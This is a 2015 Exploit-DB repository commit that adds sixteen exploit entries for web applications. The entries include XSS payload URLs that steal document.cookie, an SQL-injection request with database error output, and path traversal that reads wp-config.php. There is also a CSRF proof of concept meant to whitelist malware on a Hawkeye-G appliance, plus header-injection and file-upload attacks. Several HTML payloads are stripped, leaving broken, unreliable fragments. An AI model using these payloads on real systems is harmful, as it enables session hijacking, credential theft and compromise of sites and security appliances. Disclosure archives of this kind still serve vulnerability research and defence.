From c22dc8c9d46d54a202e6d8379833c3b881b82371 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Sat, 25 Jul 2015 05:02:16 +0000 Subject: [PATCH] DB: 2015-07-25 16 new exploits --- files.csv | 18 +- platforms/asp/webapps/37678.txt | 13 ++ platforms/asp/webapps/37689.txt | 27 +++ platforms/multiple/webapps/37662.txt | 173 ++++++++++++++++++ platforms/multiple/webapps/37686.txt | 250 +++++++++++++++++++++++++++ platforms/php/remote/37688.txt | 14 ++ platforms/php/webapps/37622.txt | 32 ++++ platforms/php/webapps/37659.txt | 30 ++++ platforms/php/webapps/37679.txt | 13 ++ platforms/php/webapps/37680.txt | 9 + platforms/php/webapps/37681.txt | 9 + platforms/php/webapps/37682.txt | 7 + platforms/php/webapps/37683.txt | 9 + platforms/php/webapps/37684.html | 7 + platforms/php/webapps/37687.txt | 9 + platforms/php/webapps/37690.txt | 7 + platforms/xml/webapps/37685.txt | 14 ++ 17 files changed, 640 insertions(+), 1 deletion(-) create mode 100755 platforms/asp/webapps/37678.txt create mode 100755 platforms/asp/webapps/37689.txt create mode 100755 platforms/multiple/webapps/37662.txt create mode 100755 platforms/multiple/webapps/37686.txt create mode 100755 platforms/php/remote/37688.txt create mode 100755 platforms/php/webapps/37622.txt create mode 100755 platforms/php/webapps/37659.txt create mode 100755 platforms/php/webapps/37679.txt create mode 100755 platforms/php/webapps/37680.txt create mode 100755 platforms/php/webapps/37681.txt create mode 100755 platforms/php/webapps/37682.txt create mode 100755 platforms/php/webapps/37683.txt create mode 100755 platforms/php/webapps/37684.html create mode 100755 platforms/php/webapps/37687.txt create mode 100755 platforms/php/webapps/37690.txt create mode 100755 platforms/xml/webapps/37685.txt diff --git a/files.csv b/files.csv index 68d36dbc7..b4a72db27 100755 --- a/files.csv +++ b/files.csv @@ -10665,7 +10665,7 @@ id,file,description,date,author,platform,type,port 11657,platforms/php/webapps/11657.txt,"Chaton <= 1.5.2 - Local File Include Vulnerability",2010-03-08,"cr4wl3r ",php,webapps,0 11660,platforms/php/webapps/11660.txt,"PHP File Sharing System 1.5.1 - Multiple Vulnerabilities",2010-03-09,blake,php,webapps,0 11661,platforms/windows/remote/11661.txt,"SAP GUI 7.10 - WebViewer3D Active-X JIT-Spray Exploit",2010-03-09,"Alexey Sintsov",windows,remote,0 -11662,platforms/multiple/remote/11662.txt,"Apache Spamassassin Milter Plugin - Remote Root Command Execution",2010-03-09,kingcope,multiple,remote,0 +11662,platforms/multiple/remote/11662.txt,"Apache Spamassassin Milter Plugin 0.3.1 - Remote Root Command Execution",2010-03-09,kingcope,multiple,remote,0 11663,platforms/windows/local/11663.txt,"Lenovo Hotkey Driver <= 5.33 - Privilege Escalation",2010-03-09,"Chilik Tamir",windows,local,0 11666,platforms/php/webapps/11666.txt,"Uebimiau Webmail 3.2.0-2.0 - Email Disclosure",2010-03-09,"Z3r0c0re, R4vax",php,webapps,0 11667,platforms/php/webapps/11667.txt,"Joomla Component com_hezacontent 1.0 - SQL Injection Vulnerability (id)",2010-03-09,kaMtiEz,php,webapps,0 @@ -33945,6 +33945,7 @@ id,file,description,date,author,platform,type,port 37602,platforms/php/webapps/37602.txt,"ZenPhoto 1.4.8 - Multiple Vulnerabilities",2015-07-13,"Tim Coen",php,webapps,80 37603,platforms/php/webapps/37603.txt,"WordPress CP Contact Form with Paypal Plugin 1.1.5 - Multiple Vulnerabilities",2015-07-13,"Nitin Venkatesh",php,webapps,80 37604,platforms/php/webapps/37604.txt,"SO Planning 1.32 - Multiple Vulnerabilities",2015-07-13,"Huy-Ngoc DAU",php,webapps,80 +37622,platforms/php/webapps/37622.txt,"WordPress Download Manager Free 2.7.94 & Pro 4 Authenticated Stored XSS",2015-07-16,"Filippos Mastrogiannis",php,webapps,0 37607,platforms/windows/dos/37607.py,"Internet Download Manager - (.ief) Crash PoC",2015-07-14,"Mohammad Reza Espargham",windows,dos,0 37608,platforms/windows/dos/37608.py,"Internet Download Manager - (Find Download) Crash PoC",2015-07-14,"Mohammad Reza Espargham",windows,dos,0 37609,platforms/xml/webapps/37609.txt,"Pimcore CMS Build 3450 - Directory Traversal",2015-07-14,Portcullis,xml,webapps,0 @@ -33992,7 +33993,10 @@ id,file,description,date,author,platform,type,port 37655,platforms/windows/remote/37655.c,"Adobe Pixel Bender Toolkit2 'tbbmalloc.dll' Multiple DLL Loading Code Execution Vulnerabilities",2012-08-23,coolkaveh,windows,remote,0 37656,platforms/php/webapps/37656.txt,"PHP Web Scripts Ad Manager Pro 'page' Parameter Local File Include Vulnerability",2012-08-23,"Corrado Liotta",php,webapps,0 37657,platforms/windows/local/37657.txt,"Microsoft Word Local Machine Zone Remote Code Execution Vulnerability",2015-07-20,"Eduardo Braun Prado",windows,local,0 +37688,platforms/php/remote/37688.txt,"PHP 'header()' HTTP Header Injection Vulnerability",2011-10-06,"Mr. Tokumaru",php,remote,0 +37659,platforms/php/webapps/37659.txt,"phpVibe < 4.20 Stored XSS",2015-07-20,"Filippos Mastrogiannis",php,webapps,0 37660,platforms/ios/dos/37660.txt,"Image Transfer IOS - Remote Crash Proof Of Concept",2015-07-20,"Reza Espargham",ios,dos,0 +37662,platforms/multiple/webapps/37662.txt,"Airdroid iOS_ Android & Win 3.1.3 - Persistent Vulnerability",2015-07-20,Vulnerability-Lab,multiple,webapps,0 37663,platforms/linux/dos/37663.txt,"TcpDump rpki_rtr_pdu_print Out-of-Bounds Denial of Service",2015-07-20,"Luke Arntson",linux,dos,0 37666,platforms/php/webapps/37666.txt,"Joomla! Helpdesk Pro Plugin < 1.4.0 - Multiple Vulnerabilities",2015-07-21,"Simon Rawet",php,webapps,80 37667,platforms/java/remote/37667.rb,"SysAid Help Desk 'rdslogs' Arbitrary File Upload",2015-07-21,metasploit,java,remote,0 @@ -34006,3 +34010,15 @@ id,file,description,date,author,platform,type,port 37675,platforms/php/webapps/37675.txt,"Joomla! Komento Component 'cid' Parameter SQL Injection Vulnerability",2012-08-27,Crim3R,php,webapps,0 37676,platforms/asp/webapps/37676.txt,"Power-eCommerce Multiple Cross Site Scripting Vulnerabilities",2012-08-25,Crim3R,asp,webapps,0 37677,platforms/php/webapps/37677.txt,"Wordpress Finder 'order' Parameter Cross Site Scripting Vulnerability",2012-08-25,Crim3R,php,webapps,0 +37678,platforms/asp/webapps/37678.txt,"Web Wiz Forums Multiple Cross-Site Scripting Vulnerabilities",2012-08-25,Crim3R,asp,webapps,0 +37679,platforms/php/webapps/37679.txt,"LibGuides Multiple Cross Site Scripting Vulnerabilities",2012-08-25,Crim3R,php,webapps,0 +37680,platforms/php/webapps/37680.txt,"Mihalism Multi Host 'users.php' Cross Site Scripting Vulnerability",2012-08-25,Explo!ter,php,webapps,0 +37681,platforms/php/webapps/37681.txt,"WordPress Cloudsafe365 Plugin 'file' Parameter Remote File Disclosure Vulnerability",2012-08-28,"Jan Van Niekerk",php,webapps,0 +37682,platforms/php/webapps/37682.txt,"WordPress Simple:Press Forum Plugin Arbitrary File Upload Vulnerability",2012-08-28,"Iranian Dark Coders",php,webapps,0 +37683,platforms/php/webapps/37683.txt,"Phorum 5.2.18 Multiple Cross Site Scripting Vulnerabilities",2012-08-29,"High-Tech Bridge",php,webapps,0 +37684,platforms/php/webapps/37684.html,"PrestaShop <= 1.4.7 Multiple Cross Site Scripting Vulnerabilities",2012-08-29,"High-Tech Bridge",php,webapps,0 +37685,platforms/xml/webapps/37685.txt,"squidGuard 1.4 Long URL Handling Remote Denial of Service Vulnerability",2012-08-30,"Stefan Bauer",xml,webapps,0 +37686,platforms/multiple/webapps/37686.txt,"Hawkeye-G v3.0.1.4912 CSRF Vulnerability",2015-07-24,"John Page",multiple,webapps,0 +37687,platforms/php/webapps/37687.txt,"TomatoCart 'example_form.ajax.php' Cross Site Scripting Vulnerability",2012-08-30,HauntIT,php,webapps,0 +37689,platforms/asp/webapps/37689.txt,"XM Forum 'search.asp' SQL Injection Vulnerability",2012-08-30,Crim3R,asp,webapps,0 +37690,platforms/php/webapps/37690.txt,"Crowbar 'file' Parameter Multiple Cross Site Scripting Vulnerabilities",2012-08-30,"Matthias Weckbecker",php,webapps,0 diff --git a/platforms/asp/webapps/37678.txt b/platforms/asp/webapps/37678.txt new file mode 100755 index 000000000..2d5fb7515 --- /dev/null +++ b/platforms/asp/webapps/37678.txt @@ -0,0 +1,13 @@ +source: http://www.securityfocus.com/bid/55220/info + +Web Wiz Forums is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +Web Wiz Forums 10.03 is vulnerable; other versions may also be affected. + +http://www.example.com/forum_members.asp?find=S&ForumID=%22%3E%3Cscript%3Ealert(0);%3C/script%3E + +http://www.example.com/forum_members.asp?find=S&ForumID=%22%3E%3Cscript%3Ealert(0);%3C/script%3E + +http://www.www.example.com/post_message_form.asp?ForumID=63&mode=new&PagePosition=0&ReturnPage=Thread&ThreadPage=">&TopicID=57676 \ No newline at end of file diff --git a/platforms/asp/webapps/37689.txt b/platforms/asp/webapps/37689.txt new file mode 100755 index 000000000..8b1e17b6b --- /dev/null +++ b/platforms/asp/webapps/37689.txt @@ -0,0 +1,27 @@ +source: http://www.securityfocus.com/bid/55299/info + +XM Forum is prone to an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +P0C : +HTTP HEADERS : +Host: www.example.com +User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip, deflate +Connection: keep-alive +Referer: http://www.example.com/chilli_forum/search.asp +Cookie: TrackID=%7B54A35316%2D7519%2D405D%2D950A%2DA8CF50497150%7D; ASPSESSIONIDASSRDDBT=LPENAGHCNMNGMAOLEAJFMFOA +Content-Type: application/x-www-form-urlencoded +Content-Length: 46 +Post Data -------------------- +terms=%27&stype=1&in=1&forum=-1&ndays=0&mname= + +Http response : + +28 Microsoft OLE DB Provider for SQL Server 8 21 error ' 8 80040e14 8 ' 1f + +84 Unclosed quotation mark after the character string ') ORDER BY tbl_Categories.cOrder, tbl_Forums.fOrder, tbl_Topics.tLastPostDate'. 7 1f + diff --git a/platforms/multiple/webapps/37662.txt b/platforms/multiple/webapps/37662.txt new file mode 100755 index 000000000..9366aa187 --- /dev/null +++ b/platforms/multiple/webapps/37662.txt @@ -0,0 +1,173 @@ +Document Title: +=============== +Airdroid iOS, Android & Win 3.1.3 - Persistent Vulnerability + + +References (Source): +==================== +http://www.vulnerability-lab.com/get_content.php?id=1543 + + +Release Date: +============= +2015-07-20 + + +Vulnerability Laboratory ID (VL-ID): +==================================== +1543 + + +Common Vulnerability Scoring System: +==================================== +3.9 + + +Product & Service Introduction: +=============================== +AirDroid allows you to access wirelessly and for free on your Android phone or tablet from Windows, Mac or the Internet, and to control it. + +(Copy of the Product Homepage: https://www.airdroid.com/de/ ) + + +Abstract Advisory Information: +============================== +The Vulnerability Laboratory Core Research Team discovered an application-side input validation web vulnerability in the official SandStudio AirDroid (windows, ios and android) mobile web-application. + + +Vulnerability Disclosure Timeline: +================================== +2015-07-05: Researcher Notification & Coordination (Hadji Samir) +2015-07-06: Vendor Notification (Security Team) +2015-07-20: Public Disclosure (Vulnerability Laboratory) + + +Discovery Status: +================= +Published + + +Affected Product(s): +==================== +Sand Studio +Product: AirDroid iOS Application (Andoird, Windows, MacOS & Web) 3.1.3 + + +Exploitation Technique: +======================= +Remote + + +Severity Level: +=============== +Medium + + +Technical Details & Description: +================================ +A persistent input validation web vulnerability has been discovered in the official SandStudio AirDroid (windows, ios and android) mobile web-application. +The vulnerability allows remote attacker or low privilege user accounts to inject malicious codes to the application-side of the affected mobile web-application. + +The vulnerability is located in the send messages and the send message with an attached file module. Remote attackers with low privilege user account are able to upload file name +with malicious strings like ``> + + + + +
+ + + + + +
+ + + + +
+ + + +
+ + + +
+ + + +
+ + + +
+ + + +
+ + + + + +Whitelist MD5 malware IDs CSRF: +------------------------------- + +In final CSRF POC to try an white list malware MD5 IDs will be a bit more +complex, +we need to submit form many times hidden in background using iframe so we +stay on same page. +Seems all MD5 ID's end in 0001 and are 8 bytes in length, we just need a +loop an create some +numbers 8 bytes long and dynamically assign the 'id' value of the field and +execute multiple +POST requests in background, it will be hit or miss unless you know ahead +of time the MD5 ID +in the database your targeting. + +e.g. Malware MD5 database ID 28240001 + +So Here we go!... + + + + + + +CSRF POC hyp3rlinx + + + +
+
+
+ + + + + + + +Disclosure Timeline: +========================================================= +Vendor Notification: June 30, 2015 +July 24, 2015 : Public Disclosure + + + +Severity Level: +========================================================= +High + + + +Description: +========================================================== + +Request Method(s): [+] POST + + +Vulnerable Product: [+] Hawkeye-G v3.0.1.4912 + + +Vulnerable Parameter(s): [+] name, enable, id + + +Affected Area(s): [+] Network Threat Appliance, Local Domain + + +============================================================================ + +[+] Disclaimer +Permission is hereby granted for the redistribution of this advisory, +provided that it is not altered except by reformatting it, and that due +credit is given. Permission is explicitly given for insertion in +vulnerability databases and similar, provided that due credit is given to +the author. +The author is not responsible for any misuse of the information contained +herein and prohibits any malicious use of all security related information +or exploits by the author or elsewhere. + + +(hyp3rlinx) diff --git a/platforms/php/remote/37688.txt b/platforms/php/remote/37688.txt new file mode 100755 index 000000000..0c77c15cd --- /dev/null +++ b/platforms/php/remote/37688.txt @@ -0,0 +1,14 @@ +source: http://www.securityfocus.com/bid/55297/info + +PHP is prone to a vulnerability that allows attackers to inject arbitrary headers through a URL. + +By inserting arbitrary headers, attackers may be able to launch cross-site request-forgery, cross-site scripting, HTML-injection, and other attacks. + +PHP 5.1.2 is vulnerable; other versions may also be affected. + + + +http://www.example.com/head1.php?url=http://example.com/head1.php%0DSet-Cookie:+NAME=foo \ No newline at end of file diff --git a/platforms/php/webapps/37622.txt b/platforms/php/webapps/37622.txt new file mode 100755 index 000000000..9256b36bd --- /dev/null +++ b/platforms/php/webapps/37622.txt @@ -0,0 +1,32 @@ +# WordPress Download Manager Free 2.7.94 & Pro 4 Authenticated Stored XSS + +# Vendor Homepage: http://www.wpdownloadmanager.com +# Software Link: https://wordpress.org/plugins/download-manager +# Affected Versions: Free 2.7.94 & Pro 4 +# Tested on: WordPress 4.2.2 + +# Discovered by Filippos Mastrogiannis +# Twitter: @filipposmastro +# LinkedIn: https://www.linkedin.com/pub/filippos-mastrogiannis/68/132/177 + +-- Description -- + +This stored XSS vulnerability allows any authenticated wordpress user +to inject malicious code via the name of the uploaded file: +e.g. .jpg + +The vulnerability exists because the file name is not properly sanitized +and this can lead to malicious code injection that will be executed on the +target=3DE2=3D80=3D99s browser + +-- Proof of Concept -- + +1. The attacker creates a new download package via the plugin's menu +and uploads a file with the name: .jpg + +2. The stored XSS can be triggered when an authenticated user (e.g. admin) +attempts to edit this download package + +-- Solution -- + +Upgrade to the latest version \ No newline at end of file diff --git a/platforms/php/webapps/37659.txt b/platforms/php/webapps/37659.txt new file mode 100755 index 000000000..52758e4b9 --- /dev/null +++ b/platforms/php/webapps/37659.txt @@ -0,0 +1,30 @@ +# phpVibe < 4.20 Stored XSS + +# Vendor Homepage: http://www.phpvibe.com +# Affected Versions: prior to 4.20 + +# Discovered by Filippos Mastrogiannis +# Twitter: @filipposmastro +# LinkedIn: https://www.linkedin.com/pub/filippos-mastrogiannis/68/132/177 + +-- Description -- + +This stored XSS vulnerability allows any logged in user +to inject malicious code in the comments section: +e.g. "> + +The vulnerability exists because the user input is not properly sanitized +and this can lead to malicious code injection that will be executed on the +target’s browser + +-- Proof of Concept -- + +1. The attacker posts a new comment which contains our payload: +"> + +2. The stored XSS can be triggered when any user visits the link of the +uploaded content + +-- Solution -- + +The vendor has fixed the issue in the version 4.21 diff --git a/platforms/php/webapps/37679.txt b/platforms/php/webapps/37679.txt new file mode 100755 index 000000000..609d60ddc --- /dev/null +++ b/platforms/php/webapps/37679.txt @@ -0,0 +1,13 @@ +source: http://www.securityfocus.com/bid/55222/info + +LibGuides is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +http://www.example.com/cat.php?cid=%22%3E%3Cscript%3Ealert(0);%3C/script%3E + +http://www.example.com/cat.php?cid=%22%3E%3Cscript%3Ealert(0);%3C/script%3E + +http://www.example.com/cat.php?cid=%22%3E%3Cscript%3Ealert(0);%3C/script%3E + +http://www.example.com/mobile.php?action=8&gid=&iid=145&search=%22%3E%3Cscript%3Ealert(0);%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37680.txt b/platforms/php/webapps/37680.txt new file mode 100755 index 000000000..13b372a56 --- /dev/null +++ b/platforms/php/webapps/37680.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/55237/info + +Mihalism Multi Host is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +Mihalism Multi Host 5.0 is vulnerable; other versions may also be affected. + +http://www.example.com/users.php?act=register&return=/> \ No newline at end of file diff --git a/platforms/php/webapps/37681.txt b/platforms/php/webapps/37681.txt new file mode 100755 index 000000000..facd8174a --- /dev/null +++ b/platforms/php/webapps/37681.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/55241/info + +The Cloudsafe365 plugin for WordPress is prone to a file-disclosure vulnerability because it fails to properly sanitize user-supplied input. + +An attacker can exploit this vulnerability to view local files in the context of the web server process. This may aid in further attacks. + +http://www.example.com/wp-content/plugins/cloudsafe365-for-wp/admin/editor/cs365_edit.php?file=../../../../../wp-config.php + +http://www.example.com/wp-content/plugins/cloudsafe365-for-wp/admin/editor/cs365_edit.php?file=../../../../../wp-login.php \ No newline at end of file diff --git a/platforms/php/webapps/37682.txt b/platforms/php/webapps/37682.txt new file mode 100755 index 000000000..ec7074b3b --- /dev/null +++ b/platforms/php/webapps/37682.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/55243/info + +The Simple:Press Forum plugin is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input. + +An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. + +http://www.example.com/wp/wp-content/plugins/simple-forum/forum/uploader/sf-uploader.php?id=4&folder=uploads/forum/petas \ No newline at end of file diff --git a/platforms/php/webapps/37683.txt b/platforms/php/webapps/37683.txt new file mode 100755 index 000000000..35886b634 --- /dev/null +++ b/platforms/php/webapps/37683.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/55275/info + +Phorum is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +Phorum 5.2.18 is vulnerable; other versions may also be affected. + +http://www.example.com/control.php?0,panel=groupmod,group=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37684.html b/platforms/php/webapps/37684.html new file mode 100755 index 000000000..ef1c42070 --- /dev/null +++ b/platforms/php/webapps/37684.html @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/55280/info + +PrestaShop is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. + +
\ No newline at end of file diff --git a/platforms/php/webapps/37687.txt b/platforms/php/webapps/37687.txt new file mode 100755 index 000000000..84ec0453d --- /dev/null +++ b/platforms/php/webapps/37687.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/55295/info + +TomatoCart is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +TomatoCart 1.1.7 is vulnerable; other versions may also be affected. + +http://www.example.com/with/tomato/ext/secureimage/example_from.ajax.php/"> \ No newline at end of file diff --git a/platforms/php/webapps/37690.txt b/platforms/php/webapps/37690.txt new file mode 100755 index 000000000..cfbff87ed --- /dev/null +++ b/platforms/php/webapps/37690.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/55315/info + +Crowbar is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +http://www.example.com/utils?waiting=true&file=foo'%3B})% 3B}alert(document.cookie)